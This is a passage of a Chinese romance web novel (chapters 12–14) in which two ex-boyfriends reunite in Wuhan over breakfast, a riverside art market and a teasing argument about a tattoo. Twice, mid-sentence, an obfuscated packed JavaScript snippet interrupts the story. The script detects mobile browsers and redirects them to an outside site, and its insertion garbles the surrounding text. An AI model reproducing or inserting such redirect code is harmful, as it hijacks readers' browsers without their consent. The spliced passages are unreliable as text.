杭樾没吭声,逐渐握紧拳头。 他的表情阴云密布,许璋用了零秒猜到他在想什么。 “哎,这都是过去的事了,你不要转头就去整人家。”许璋无奈道。 “知道了。”杭樾语气冷硬。 “真知道假知道?你保证不去找李子旭算账。” 杭樾沉默了许久,才说:“我保证。” 许璋盯着他看了会儿,忽然问:“杭樾,打耳桥疼吗?” 杭樾知道他在转移话题,还是顺着说:“不疼。” “你戴耳钉挺帅的。” “嗯。” 许璋说:“我也想去打耳洞了,但有点害怕穿骨,既然你说不疼……” 杭樾:“你不准打。” “为什么?” 他大概意识到,自己管的有点宽,闷声道:“你最好别尝试,对于一个崴到脚都要掉两滴泪的人来说,打耳洞还挺疼的。” “……” 许璋刚要辩驳,杭樾转身,按下墙上的开关,光线暗下来。 “睡觉吧,明天还要赶路。”他说。 许璋乖乖躺下,被子遮住下巴,露出两只眼睛,吧嗒吧嗒望着他。 “你睡哪儿?” “沙发。” 杭樾头也不回地往外走,许璋喊道:“对了,外卖到了,在台子上。” 杭樾正想询问,转念想到,应该是许璋点的餐,便过去打开袋子。 看见里面的东西后,眼皮狠狠跳了一下。 许璋打着哈欠,忽然听见杭樾走进来,脚步声略显沉重。 他睁开眼睛,看见提着黑色袋子的杭樾,十分古怪地问:“你买这些是什么意思?” 许璋疑惑:“你不爱吃吗?” 杭樾:“?” 许璋:“?” 他把袋子扔到床上,里面的润.滑油和安全.套露了出来,还有三指粗粉红色的道具,以及一条电动兔尾巴。 许璋:“?!!” 12.第 12 章 有刁民害我。 十分钟后,许璋抓出了罪魁祸首。 冉佑一计害三贤,丝毫没有愧疚的意思。 他在手机里叫嚣:“怎么了,不喜欢草莓味的套吗?你再翻翻呢,底下还有青提茉莉的,那个吃起来不苦。” 许璋开着免提,一脸“看吧不是我买的”表情,在听见他的胡言乱语后,彻底崩不住了。 吃你大爷啊。 “闭嘴!”他凶狠道,“我不会用的!” 冉佑惊讶:“哇塞,要内设吗?” “……?” “你不是说打分手炮么,又不是真复合,还是用套安全点吧……实在不行,我给你买点试纸送过去,天哪,世界上怎么会有我这么好的朋友……” 许璋手忙脚乱,挂断了语音。 气氛尴尬透顶,杭樾咳了咳道:“分手炮?” 许璋愤怒:“谁信谁傻逼。” “怎么还骂人呢。”杭樾没忍住笑。 “他鬼话连篇,你信了就是脑子进水!”许璋气鼓鼓道。 杭樾上下打量他,意味深长:“其实,你要是早点说的话……” 许璋睁大眼睛,屏住呼吸。 杭樾笑了一下:“我应该也不会同意的,前妻。” 最后两个字,调侃意外十足,许璋瞬间崩溃,把袋子一股脑扔向他。 “我没这样想过!” “对对对,你没想过。”杭樾闷笑。 ……笑个屁啊。 许璋钻进被子里,捂住脑袋。 杭樾说:“喂,前妻。” “睡着了。”他没好气。 “这些东西要怎么办?” “扔了。” “那多浪费。” 许璋捂紧耳朵,一个字也不想听。 杭樾在旁边笑了会儿,将散落的东西装进袋子扎好。 房间的灯暗下来,室内恢复了平静。 许璋闷头睡了一晚,醒来佯装无事发生,在看见角落里的袋子时,还是黑了脸,悄悄丢进了垃圾桶。 他叼着牙刷洗漱,杭樾已经穿戴整齐,站在门口。 许璋面无表情地挥手:“拜拜,不送了。” 杭樾没走,而是说:“不着急,等你洗完,一起去吃饭。” “你不是回车队吗?”许璋疑惑。 他的发梢翘起几根,睡眼惺忪的,唇边沾着牙膏沫,眼神茫然。 杭樾勾起嘴角:“队里的车坏了,正在检修,下午才能出发。” “哦。” “正好去感受一下武汉的过早。” “哦。” “你只会‘哦’吗?” 许璋吐着泡泡:“杭樾哥哥,我在刷牙,你要我回你长难句吗?” 先前在安庆,饭店老板的女儿是小迷妹,追着他一口一个“杭樾哥哥”,后来老板娘嫌丢人给抱走了,摩旅队老拿这个调侃杭樾。 他基本没什么反应,但被许璋一喊,莫名其妙脸颊有些发热。 他丢下一句“磨磨唧唧,搞快点”,头也不回地带上门。 晨曦初透,日光如轻薄的纱网,笼罩着晨间喧闹的街道。 街上熙熙攘攘,早餐摊林立,热气和香气蒸腾,学生们三五成群,结伴在路边吃早点,工作党蹬着电动车,风风火火地穿梭在马路上。 武汉人喜欢边走边吃,大爷一边散步一边嗦面,丝毫不耽搁走路,许璋好奇地东张西望。 他们按前台的建议,去了个很有烟火气的街区,周遭充斥着方言,两人并肩走在陌生的环境,有种微妙且亲密的错觉。 许璋说:“你听得懂他们的话吗?” “一点点,有些词能听懂。” “他们好喜欢说‘老子’,刚才那个小丫头也说‘老子’,怪可爱的。” “嗯。”杭樾插着兜,走得很慢,“你有没有觉得这条路,挺像南京的?” 许璋点头:“这里和南京布局很像,只是红绿灯没那边大。” 两人都笑了起来,许璋说起有趣的事:“我去年和冉佑去南京,才发现他们的红绿灯那么大,后来去苏州老家,开车的时候眼睛都要废了,习惯了大灯好麻烦。” 他张开手比划,动作可爱极了,杭樾噙着笑看他。 二人有一搭没一搭地聊天,不再像之前那样夹枪带棒。 杭樾问:“你经常和朋友出去旅游?” “偶尔吧,没太多时间,你呢?” “我有时候和摩旅队一起,时间也不算充裕,他们有的要上班,有的要上学,协调起来费事得很。” “骑摩托爽不爽,”许璋说,“有机会我也想试试。” “待会儿好了,带你坐后座。” 许璋惊讶:“真的假的,你别给我画饼。” “坐个车而已,有什么好画的。” “那吃完饭我跟你去。” 许璋很是兴奋,蹦蹦跳跳跑向早餐摊,当地美食丰富,热气腾腾的面窝、三鲜豆皮、热干面,足以安抚碳水人饥肠辘辘的胃。 许璋买了两个面窝,拿在手上啃,杭樾在后面扫码付款。 “给,这个好吃。”许璋递给他,“脆脆的。” 商家只给了一个袋子,两只面窝挤在一起,其中一个被咬掉大半,油的焦香味扑面而来。 许璋在身上摸纸巾,准备给他包着吃。 谁料杭樾俯下身,就着他的手,把剩下那小半块吃了。 吃的是他啃过的那块。 许璋僵住,瞬间忘记要干什么。 杭樾嚼了几口,学着他的话,含糊地说:“脆脆的,我少吃一点,最近在控碳。” 许璋大脑短暂空白,拿着面窝,表情懵懵的。 杭樾没给他思考的时间,指着前面道:“你要吃的那家热干面。” “啊,对。”许璋紧张道。 他不知道杭樾为什么这样,也来不及细想,跟在他后面走了进去。 店铺在美团上很火,他们点了两份热干面。 很快,做好端了上来,麻酱裹着面条,上面洒满咸菜和葱花,盛面的纸盒简陋,美味却毫不逊色。 许璋不自然岔开话题:“果然还得来当地吃,我们那不怎么吃碱水面,外卖都点不到正宗的。” 杭樾把香菜推给他:“香菜狂魔,帮你多要了一份。” “谢谢,但我好像吃不完。”许璋苦着脸说。 他一路上吃个没停,有点饱了。 杭樾将碗推过去,示意他夹到自己碗里。 “你不是控碳吗。”许璋古怪地说。 “一顿不控没事。” 热干面还没动过,许璋夹了一半给他,麻酱黏糊糊的,看起来有些卖相不佳。 杭樾没什么讲究,将面扫荡一空。 他们正吃着,旁边传来两个女生的声音。 “你去要吧,我社恐。” “你去你去,是你提的。” 她们你推我我推你,蹭了过来。 其中一个紫色头发的,鼓起勇气开口道:“帅哥,可以扫个码吗?” 她面朝的是杭樾,闻言,两人都抬起头。 许璋先反应过来,露出一抹坏笑,杭樾瞪了他一眼,没有吭声。 紫头发举着手机,有点尴尬,许璋便接过手机递到他面前:“扫码啊帅哥,愣着干嘛。” 杭樾无语:“……手机没电了。” 他难得面色逃避,连眼皮都不抬,专注地盯着碗里那几根面条,仿佛对热干面产生了浓厚的兴趣,要写出一份探店报告来。 许璋憋不住笑,肩膀轻微颤抖。 紫头发连忙说:“不是,你们误会了,我不是要加微信。今晚在江滩有个集会,你们要是方便的话,可以扫码关注公众号,现场能领取小礼物,免费的。” 杭樾看向屏幕,果然是个公众号,顿时更无语。 许璋噗嗤笑道:“原来是这样,我来扫吧,晚上几点?” 紫头发说:“六点半开始,大概九点结束,我和朋友会摆摊画画,你们要是去的话,我让他给你们画一张。” “你也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029194|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学画画的?” “我是湖北美术学院的,点个关注就好啦,谢谢帅哥。” 扫完码后,女生们走开,许璋托着腮,羡慕道:“美院的学生啊,真好。” 杭樾握筷子的手一顿,过了几秒说:“你画的也很好,不输给科班。” 许璋笑了笑,没有搭腔。 杭樾道:“你就这么答应人家了,然后晚上爽约?” “你怎么知道我会爽约。”许璋说,“要走的是你,我又不着急,旅行嘛,走走停停才自在。” 杭樾点了点头,起身去结账。 回到酒店楼下,他戴上头盔道:“走吧,说好带你兜风的。” 许璋抱着头盔,想了一会儿,还是还给了他。 “下次好了……虽然可能没有下次了。”他耸肩道,“这边的路不适合兜风,人来人往的,不麻烦你了,祝你一路顺利。” 这条街很热闹,确实不适合兜风,杭樾没有再坚持。 许璋说:“再见,杭樾。” “再见。” 杭樾发动摩托,很快,背影消失在街道尽头。 许璋站在原地,看了一会儿。 “冉佑佑——” 他发出哀嚎,转头去找他的黄毛小弟。 当冉佑看见他闷闷的脸时,不语,只一味的鄙夷。 他翘着手指做美甲,阴阳怪气地模仿杭樾:“我要是对他做什么,你可以随时报警~” “报警哥是不是不行啊,你都送到嘴边了,他居然能让你下的来床,我还以为你今天要开裂呢,都提前帮你挂好号了。” 许璋想捂嘴已经来不及,做美甲的小姑娘臊得面红耳赤。 “说了我和他不是那种关系!”许璋咬牙切齿。 “他就这么把你丢下走了?” “不然呢,我是三岁小孩吗,需要他寸步不离。” 冉佑失望:“那你今晚留下,我必须让你开张,一想到我的小猫咪昨晚独守空闺,我躺在肌肉男怀里都睡不安心。报警哥看着挺大,中看不中用,我呸!” “……你放过我吧。”许璋捂住脸,“我留下是因为想去江滩,听说晚上有灯光秀。” “什么灯光秀,无聊的不得了,跟我去酒吧看男模。” “不去,你带上酒,我们去江边喝。” “那里晚上冻死了!你想害我,想把我的皮肤吹过敏。” “哦,你不爱我了。” “你你你!你说的是人话?” 他们叽叽喳喳地拌嘴,美甲师笑着说:“江边是挺冷的,夏天去比较舒服,我前几天也想去玩,我家那位说什么都不肯。” 冉佑说:“听见没有,人家男朋友都不肯陪,乖啊,我不去不代表不爱你。真服了你们这些游客,不打卡景点好像没来过一样,水和石头有什么好看的。” 许璋嘲道:“你去苏州还顶着四十度高温逛园林呢,你去上海还非要买城隍庙几百一条的开光手串呢,我说一个不字了吗?” 美甲师笑得发抖,冉佑怒道:“你再说,我打你屁股!” 许璋吓唬他:“美甲烤糊咯,肌肉小哥不喜欢你咯。” 冉佑:“…………” 美甲做了一个小时,许璋等得昏昏欲睡。 接近尾声时,手机忽然响起。 冉佑偷瞄:“谁啊?不会是报警哥吧?” 许璋推开门走出去:“管得真宽。” “管得真宽~” 许璋走到外面,接通了杭樾的语音。 他以为是催债的,提前说:“钱转过去了,你记得收一下。” 杭樾说:“邢远的车坏了,我们明天才能出发。” 许璋停顿:“哦,所以呢?” “所以,你今晚还想不想去江滩?” 许璋许久没说话。 隔着手机,杭樾听见他的呼吸声,细微轻软,像小猫慢吞吞地舔着爪子。 他没有催促,只静静地等待。 半晌,许璋笑着说:“杭樾,邢远的车,该不是你弄坏的吧?” 13.第 13 章 那边不作声了,过了一会儿,直接挂了。 许璋看向手机:? 开玩笑都开不起,真小气。 杭樾盯着屏幕,上面倒映出模糊的表情。 他就这么发愣半天,被拍了拍肩膀。 江木舜骂骂咧咧道:“他奶奶个腿儿的,要是被老子抓到是谁戳的轮胎,我让他后悔投胎做人!鬼火小毛头,成天不干正事,爆胎爆老子头上来了!” 杭樾呛了一下,问:“联系上那家店了?” 江木舜气道:“打电话预约了,人家地址在江夏,还得跑过去拿备胎,今天是彻底走不成了。你说那傻逼戳谁的胎不好,非得戳个最难补的,偏偏监控还坏了,真是越想越胀气!” “那就休息一天吧,正好小唐还在发烧。”杭樾不自然道。 江木舜看向他:“说说你吧。” 杭樾脸色一变:“和我有什么关系。” “我说你昨晚啊,跟小许待了一晚上,真的什么都没干?复合了没有?你们黄金单身群是不是又减员了?” 杭樾说:“想多了,我们不会复合。” “真的假的?你昨晚那么着急,饭都没吃就走了,可不像前任该有的样子。” “路上太乱,他一个人,万一出点事,我心里过不去。” 江木舜恍然大悟:“原来如此,你是男菩萨呀,慈眉善目,悲悯众生,路过的小猫小狗都要捡起来拍拍灰。” “少阴阳怪气。” “嘻嘻,我可没有。” 江木舜郑重道:“行,不管你做什么决定,哥们儿都力挺你。过去就让他过去吧,你们现在能这样,做普通朋友也挺好。” 杭樾应了一声,心不在焉地看手机。 屏幕上,是昨晚偶然发现的号:AAA西双版纳水果张姐。 加好友时间是三年前,朋友圈全是卖水果的。 在昨晚之前,他也以为,和许璋要分道扬镳了。 他神色复杂地问:“老江,如果你的前女友,开小号观察你三年,是不是代表,他对你余情未了?” 江木舜嗅到八卦的味道,瞬间瞪大眼睛。“小许拿小号偷看你?不会是弄错了吧,这不像他干得出来的事。” “我也觉得不像,所以比你还惊讶。” 江木舜想了想道:“你既然不打算复合,纠结这些没意义,是不是他并不重要……这是我的想法,你觉得呢?” 杭樾说:“我是被甩的那个,当然不可能提复合,我是什么很掉价的人吗。” “说得对,你不是!” 江木舜有点燃了,“哥们儿我懂你,虽然小许是个好孩子,但咱该硬气就得硬气,我当年被初恋甩的时候,发誓要让她懊悔终……” “除非他主动提。” 江木舜呆住:“啊?” 杭樾不悦地说:“如果他主动提的话,我或许会考虑考虑,别想让我主动。” 江木舜被泼了盆凉水,长出小丑鼻子,眼神如同死灰。 ……回家吧好吗,别出来膈应人。 · 西双版纳张姐还在等待冉佑,他做了个蛇年美甲,十个指头涂满美杜莎,看得许璋密恐发作,跑去外面沙发坐着,眼不见为净。 他好几天没上微博,上线发布最近画的稿。 很快有人评论道: 【@小手冰凉:哇塞,画了这么多!看来这次旅游灵感爆棚呀。】 【@哎呀触礁啦:鱼妹到武汉了?看见定位了哎。】 【@小鱼专属NPC:不知道怎么形容这些画,画面上天空灰灰的,却不觉得压抑,路面寸草不生,人物却又生机勃勃,词穷的我只会说牛x!】 【@湘川99:[图片]这个是你朋友吗?他是不是搞车队的?感觉很帅的样子。】 【@草莓奶糖:我也发现了,这位摩托哥出现了三次。】 【@你也知道我产狂do三天吗:光看身材和脑壳,是个顶级帅哥/斯哈/】 【@甜瑶(被zxr翻牌版):第一张也有他,这车是金翼吧,帅炸了!】 许璋回复@湘川99:【不是,是路人。】 又回复@你也知道我产狂do三天吗:【这就顶级帅哥了?/斜眼/】 【@甜瑶(被zxr翻牌版):哈哈哈哈,第一次看你回复带表情,说实话,是不是不想跟我们分享帅哥?】 【@你也知道我产狂do三天吗:可爱宝宝,不准斜眼我,他肯定没你帅/嘻嘻/】 许璋嗤了一声,切到后台,看见一条醒目的私信。 【用户745928:你要把画室卖掉?】 是前天晚上发的。 他皱起眉头,没有立即回复。 那人看见他在线,输入道:【我也是干这行的,最近在帮朋友选址,看见了你的转让公告,为什么要这样做?有什么难言之隐吗?你以后还继续画画吗?】 作为网友,他的问题已经越界。 许璋不清楚对方身份,思索一会儿,还是没有理会。 在他下线之前,用户745928又发了一条:【其实我关注你很久了……】 许璋关掉微博,等冉佑做完指甲,一起去吃豆浆鱼火锅。 软磨硬泡了半天,冉佑最终答应去江滩,他骂骂咧咧掏出手机,给约好的模子哥打电话,告诉他今晚去不成了。 两人腻歪得像情侣,冉佑还哄他:“老公乖乖,不哭哦,回去给你带礼物,你想用什么姿势都行……亲亲……” 许璋嘴角抽搐:“你点的男模还带角色扮演?这和昨晚不是同一个吧。” “不是,这是昨晚那个推荐的,他堂哥。” “什么??” 冉佑淡定:“放心,我都是让他们现场测试纸加戴.套的,还要看体检报告,安全得很。” 许璋惊恐:“所以你们三……这正常吗?” 冉佑无所谓道:“在男同圈挺正常的,只是你不太接触而已,我身边除了你,都是玩咖。说起来,虽然我不待见报警哥,但他看着不像混圈的,算是个正经人。” 他笑笑说:“偶尔我会想,像你们这种分手五年,还不找男朋友的,有没有可能是双?你谈过女朋友吗?” “没有。”许璋摇头,“我gay得毫无悬念,看A片都起不来。” 冉佑撇嘴:“那他呢?” “他也是,我们高中试过,都看萎了。” “哈哈哈哈,你们两个天才。”冉佑笑得直不起腰,“完蛋了,我有点羡慕是怎么回事。” 他看向车窗外,大桥和江水逐渐逼近。“要是人能一次性遇见对的人,该有多好啊。” 许璋把他搂进怀里:“不想了乖乖,那种人渣不值得你伤心,我的天哪,是谁做了这么好看的指甲,江汉路的1都要被你迷晕了。” 冉佑笑喷:“你别给我整这死出。” “脸好看身材也好,身上还香喷喷的,太天菜了吧。” 冉佑掐他脖子:“那你跟我算了。” 许璋吐着舌头反抗。 过了一会儿,看见市集了,他说:“到了,几点钟亮灯来着?” “不知道,你自己要来还不做攻略。” 两人下车,走到江边,长江大桥连接两岸,灯光陆续亮起,江面浮光跃金,夕阳沉没在天际尽头,夜幕逐渐降临,远处传来轮渡的鸣笛声。 氛围惬意舒适,但是风有点冷。 有人在直播唱歌,唱的是首民谣,用的是武汉话。 “冬天腊梅花 夏天石榴花 过路的看风景 住家的卖清茶” 许璋拽着他走下台阶,带着水腥味的江风扑来而来,底下黑黢黢的看不真切,仔细倾听,能听见江水拍打岩石的声音。 “好漂亮的夜景。”许璋说,“可惜没带画布。” 冉佑缩进皮草外套,用美甲点他脑门:“你要是敢在这里画画,我一脚把你踹江里。” “前面有棉花糖,我们去买两串吧。” “……小孩子啊你,真幼稚。” 冉佑一边嘴上嫌弃,一边被拉着买糖,许璋东逛西逛,还是没找到早上那两个女孩。 他挑了个三丽鸥摆件,手里拿着棉花糖,喊冉佑付钱。 冉佑没有说话,许璋转过头,发现身后忽然多了一堆人。 江木舜向他打招呼:“嗨,又见面了,小许。” 唐思瑞咧开笑容说:“许哥,你自己偷摸出来玩,怎么不叫上我们!” 周皓搭着邢远,对他挥手示意,许璋脑子有点当机,不知道他们从哪里冒出来的。 杭樾把付款码给老板,淡定地说:“发消息不回,打电话不接,找了半天才找到你。” 许璋懵圈:“我没看手机,以为你说着玩儿呢。” “谁有空跟你玩儿。” “……那你现在在干嘛?” 冉佑盯着邢远打量:“你们是摩旅队的吗?小璋太坏了,队里有这么帅的都不跟我说。” 邢远挑了下眉,没有吭声。 唐思瑞说:“妈呀,你刚才没开口的时候,我还以为你是女孩子……对不起,我是说你长得好看,不愧是许哥的朋友。” 冉佑随手摸他下巴:“小嘴真甜。” 唐思瑞吓了一跳,惊慌失措地瞥了眼周皓,红着脸低下头。 许璋继续寻找那两女生,走了半天,终于在角落里看见摆摊的。 摊位坐着三个人,白天的两个女孩,和一个裹得厚厚的、穿着拖鞋的男生。 “你们好。”许璋上前打招呼。 紫头发立马起身:“帅哥,是你呀,我还以为你们不会来了呢。” 几人做了自我介绍,紫头发叫秦沁,男生是她的弟弟秦阳,另一个女生叫薛行知,姐弟俩都是美院的学生,薛行知在华科,是他们的发小。 秦沁问:“你们想一起画还是单独画?要不一起吧,你俩站一块儿特别养眼。” 许璋看着杭樾,杭樾说:“看我干嘛,我都行。” 秦沁见他没什么表情,不清楚他是高兴还是不高兴,犹豫地望向许璋。 许璋解释道:“他嘴巴是这样的,比长江大桥的钢筋还硬,不用管他,一起画吧。” 杭樾:“……” 他们并肩坐下,秦沁说:“那就画水彩了,我弟画得好,让他给你们画。” 秦阳笑呵呵的,坐着没动弹。 许璋以为他在等自己同意,点头道:“可以。” 秦阳仍然没去拿画笔,而是把脚从拖鞋里抽了出来,大冷天的,竟然没穿袜子。 许璋愣了一下,忽然明白了什么,只见他袖口空荡荡的,因为羽绒服的遮挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032273|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在灯光下并不明显。 杭樾的表情也出现变化,探身将画笔盒推了过去。 秦沁赶紧说:“没事没事,不用帮忙,你们摆姿势就行,他速度很快的。” 秦阳对他们腼腆地笑,用脚夹起画笔,开始熟练地调色、勾线。 他脚背的皮肤比别处要深,趾骨扭曲变形,上面布满大小不一的茧,是年复一年的练习留下的。 刚露出脚的时候,他有点害羞,不太敢看二人。 秦沁热络地说:“你们就当他不存在,他有点社恐,比较容易紧张。” 许璋翻了翻兜,掏出从唐思瑞那抢的软糖,喂进他嘴里。 秦阳脸红道:“谢谢哥哥,很甜。” “哥哥甜还是糖甜?” 秦阳笑了起来:“都甜,草莓味的。” 秦沁给他们拿来暖宝宝,边在旁边看弟弟作画,边和两人聊天。 秦阳五岁开始学画画,是当时少年宫最有天赋的,老师说以后可以考虑冲央美,前途一片光明。 直到十二岁时,一场突如其来的车祸,打破了他平静的生活。 由于双臂被长时间挤压,最终只能截肢。 康复训练的初期,秦阳一度消沉,几乎想放弃生命——不难想象,对于一个画师来说,失去双手,是多么毁灭性的打击。 最后让他重拾信心的,是疗养院的一位病友。 秦阳没有详细描述那人,只是说:“我遇到一个好朋友,我没有手,他没有脚,在他的鼓励下,我就开始用脚画画了。” “大难不死,必有后福。”许璋说,“这个朋友真好,你们合作一下,能去试试唱双簧。” 秦沁笑道:“不愧是做生意的,思路这不就打开了。” 许璋说:“其实我也学过画画。” “对了,白天听你说过。”秦沁问,“后来怎么没学了?” 杭樾偏过头,似乎想看他。 许璋耸肩:“家里人不喜欢,我爸看见我拿画笔就发疯,经常把颜料扔水里,拿着皮带追着我跑,还把我的证书撕得粉碎撒床头,我都是躲着他偷偷地画。” “天哪,他为什么这样?”秦家姐弟震惊。 许璋一派轻松:“因为他初恋是学画画的,他爱而不得,看见颜料就应激。” “初恋?你爸爸的初恋?” “对啊,就是我妈。” “那你妈妈不反对他吗?” 许璋无所谓地笑笑,秦家姐弟听得一愣一愣。 杭樾皱起眉头,打断了他们:“这画多少钱?” 秦沁连忙摆手:“不收钱,说了扫码领小礼物的,礼物送完了,这幅画就当给你们的。” 许璋看向牌子:“素描15一幅,色彩30一幅,双人乘以2,付钱吧。” 杭樾趁其不备,熟练地扫钱,秦阳过意不去,说要给他们加点装饰。 秦沁从隔壁摊拿了个朱迪兔发箍,给许璋戴上。“这个好适合你,跟你的帽子很配,小兔子太可爱了……我去帮杭樾哥找找。” 杭樾瞥了他一眼,淡淡道:“真成兔子了。” “兔,第四声。”许璋纠正,“你说的像‘秃子’,我怀疑你故意的。” “帽子是兔子,睡衣是兔子,现在还戴这个。”杭樾随手弹他的发箍,“真会装乖。” “我不乖吗?”许璋眨巴眼睛。 “你哪里乖。” “我哪里不乖。” “有时候也不用很乖,做你自己就好。” “……?” 秦阳听着他们的对话,明明没说什么,却让人觉得暧昧横生,他忍不住偷偷打量二人,猜测他们的关系。 秦沁拿了两副耳朵,让杭樾选:“你要尼克还是狼耳朵?” 她也吃不准这俩的关系,没有贸然只拿官配。 杭樾还没选,许璋抢先道:“给他狼耳朵,他没那只狐狸帅,不是,为什么没有狗耳朵啊?他那么狗。” “你想死吗。”杭樾说。 他二话不说,拿走了尼克的耳朵,主动戴上情侣款。 秦阳忍笑:“戴歪了,姐,你帮他弄一下。” 秦沁想伸手,但实在不敢碰杭樾,他帅则帅已,太过于生人勿近。 许璋便转过来,帮杭樾整理发箍,忽然惊奇道:“杭樾,你什么时候纹身了?” 在那只闪瞎人的潮男耳钉后面,藏着一个不易察觉、十分隐蔽的纹身。 他还没仔细看,杭樾拂开了他的手。 纹身一闪而过,仿佛是错觉。 许璋盯着他问:“纹的什么?” “少管。” “问问嘛,小气鬼。” 秦沁着实是没忍住,问道:“所以……你们是那个……一对吗?” 许璋笑眯眯地说:“他是我前夫,一路追我到这里,对我爱恨交织、难以放手,还悄摸把我的名字纹在耳朵后面……” 秦家姐弟眼睛瞪得像铜铃,旁边的薛行知被奶茶噎住,疯狂捂嘴咳嗽。 杭樾忍无可忍,拿棉花糖塞堵住他的嘴,俊脸发红,转向三人解释。 “我没有纹他的名字。” 空气静了几秒,他再次强调:“我、没、有,纹他的名字。” “绝对不是。”又一次。 许璋忍不住发出一声爆笑,前夫太好玩了。 14.第 14 章 秦阳画的很快,没多久,将画给他们看。 画面上两人戴着头箍,许璋笑得眼睛弯弯,杭樾靠着椅背,位置偏后一点,视线落在他身上,显得有些漫不经心。 摊位展示处有不少情侣,和那些画不同的是,他们之间没有任何互动,也没有肢体接触,但不知为何,氛围浓烈到让人无法忽视,仿佛生来就该是一对。 许璋仔细看这幅画,发现秦阳确实功底深厚,色彩和光影运用得十分到位,倘若没有遭遇车祸,绝对是个好苗子。 他和秦阳说了几句话,杭樾在旁边等着。 过了一会儿,许璋拿上画,跟着他离开。 他们走在江边,许璋说:“刚才是你付的钱,这幅画给你吧。” “不用,路上不好带。” 许璋这才想起他得骑车,问道:“那我送你的画呢?寄走了吗?” “没有,在行李箱里。” 许璋的脚步慢了下来,落在他身后,杭樾回头:“怎么了?” 许璋小声说:“看看纹身呗。” “……别挑事。” “你不给看,那就是纹的我名字。” 杭樾看了看四周,路灯昏暗,台阶下空无一人,月光洒在漆黑的江面。 他突然伸手,握住许璋的后颈,将人拽到自己面前。 许璋猝不及防,猛地撞入他眼中。 那双眼睛比江水还黑,仿佛下一秒,就会卷起滔天的漩涡,危险的气息逐渐蔓延。 杭樾看着他,声音低沉:“你再问这种问题,我会觉得,你想跟我复合。” 恍惚间,远方传来雷声,明明今天没有雨。 许璋后知后觉地发现,那是他的心跳声。 咚咚咚咚,跳得好快。 他咽了口口水,试图后退,却被牢牢扣住后颈,丝毫无法动弹。 杭樾的手心温热干燥,大拇指摩挲他的发根,顺着颈部韧带移动,让他禁不住一阵哆嗦,胳膊上起了层鸡皮疙瘩。 “为什么要问这种问题?”杭樾哑声道。 “我纹什么和你有关系吗?” “说话,别装哑巴。” 许璋愈发不愿吭声,平时妙语连珠,此刻真成了哑巴。 他感到对方的呼吸在靠近,几乎要喷到他脸上,气息中带着薄荷味道,和拉力服上风雪过境的味道,温暖与冰冷交织。 黑暗中一切都变得模糊,只有紧贴后颈的手掌,传来让人难以忽视的滚烫。 等许璋反应过来时,在轻微地发抖。 旁边响起调侃的声音:“光天化日的,这么欺负人不太好吧。” 杭樾抬起头,看见站在台阶上的邢远。 他指尖夹着未点燃的烟,不知道看了多久,脸上挂着似笑非笑的表情。 许璋立马挣脱开来,捂着耳朵尖后退。 “哪里光天化日,太阳在哪儿?”杭樾皱起眉,不爽道。 邢远玩着打火机,说:“江哥在找你,那个车店老板跟他对账,发现钱给少了,他说账单在你这里。” 杭樾很是不耐烦:“我不是发给他了吗。” 他对许璋说:“你等我一会儿。” 许璋没有看他,也没有应声。 直到杭樾往台阶上方走去,他才逐渐平静下来。 邢远将烟收回口袋,一动不动地看着他。 许璋走到他旁边,低声说:“我想问你个事。” 邢远答非所问:“你的好朋友,刚才向我要微信。” “噢,你给了吗?”许璋并不奇怪,他的确是冉佑的菜。 “我让他找你要,你要是觉得可以,就把我推给他。” 这话有点奇怪,许璋没来及细想,邢远便说:“你要问什么?” 许璋瞄了眼台阶上面,见人已经走远了,问道:“你知不知道,杭樾有个纹身?” “知道,怎么了。”邢远语气很淡。 “他纹的是什么呀?” 邢远笑了一下,过了半晌,说道:“你在我这儿打听了不少,真把我当工具人了。” “绝对没有。”许璋真诚道,“你怎么会这么想呢,我肯定拿你当朋友,你这种大帅哥,谁不愿意和你交朋友。” “嘴挺会说的,不过,这次我得收点好处。”邢远幽幽地说。 许璋叹气:“行吧,你要多少?” “你就那么在乎他,不是已经成过去式了吗。” “这不叫在乎,我每天很无聊的,除了上班就是整弟弟,难得能在前任身上找点乐子,当然不想放过这样的机会。” “没看出来你无聊,倒是很会花言巧语。” 许璋吐了吐舌头:“一口价,我买断了。” 邢远哂笑:“如果我说让你亲我一下,你是不是也会照做不误?” 许璋呆住,随即无语:“这并不好笑,你没有讲冷笑话的天赋,趁早放弃吧。” “唔,他们都这么说。”邢远无所谓,“那先欠着好了。” “你不要狮子大开口,我真的没什么钱。”许璋警惕。 “他是大三去纹的,好像是一串数字吧,具体记不清了,我得看看消息记录。” 他翻找手机,找了会儿说:“200431,不是他的生日,是你生日吗?” 许璋摇头:“我不是04年的,我都要二十三了,啧,该不会是别人的生日吧。” 邢远疑惑:“真不是你生日?” “我生日是二月二。”许璋鼓起腮。 邢远点头:“那估计和你没关系,你这是什么表情,不高兴了?” “没有,我开心死了。” “那笑一个。” “……” 许璋从江边上来后,便垮着个小猫脸,本想拒绝和杭樾去兜风,随后发现他压根没骑车,大概是忘了白天的约定,于是脸垮得更加彻底。 众人在路边打车,第一辆车很快来了,唐思瑞和周皓先上去,江木舜随后,他招手说:“再上来一个。” 其他人都没动,邢远说:“你们走吧,我们等下一辆。” 第二辆车也来了,许璋刚想往副驾走,冉佑已经眼疾手快,占据了副驾的位置,三人站在寒风中面面相觑。 杭樾清了清嗓子:“阿远,你先上。” 邢远没什么意见,径直坐到最里面,杭樾跟着上去,许璋坐在了最外面。 